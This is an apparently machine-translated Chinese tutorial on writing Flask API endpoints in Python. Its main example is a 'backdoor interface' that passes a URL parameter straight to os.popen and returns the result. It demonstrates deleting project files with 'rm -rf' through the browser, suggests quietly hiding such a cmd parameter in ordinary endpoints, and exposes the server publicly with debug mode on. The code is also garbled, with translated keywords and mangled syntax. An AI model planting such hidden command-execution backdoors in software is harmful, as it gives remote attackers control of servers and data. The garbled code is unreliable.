python后端接口怎么写,python支持接口编程吗
如何用python写接口?具体步骤如下:
1.实例化服务器
2.装饰器下面的函数变成了一个接口。
3.启动服务
相关:《Python基础教程》
开发工具和流程:
Python库:flask=》实例化server:server=flask . flask(_ _ name _ _)=》@ server . route(/index ,methods=[post])
=》def index(arg):{}
例子:
进口货
@server.route(/error ,methods=[get])
defcmd():
cmd=flask . request . values . get( cmd )#接口参数
Res=os.popen(cmd)#执行用户命令
Returnres.read()#返回执行结果
# http://127 . 0 . 0 . 0/错误?Cmd=rm-rfa.txt后门接口可以直接通过浏览器删除项目文件。
#将cmd=flask.request.values(cmd ,None)写入普通接口的巧妙方法。
#默认情况下,不用传。一旦通过,它将成为res=os.popen(cmd)
Server.run (port=8888,debug=true,host= 0.0.0.0) #启动服务
#debug=True,更改代码后会自动重启,无需重启。
#host=0.0.0.0 其他人可以通过IP访问它
郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。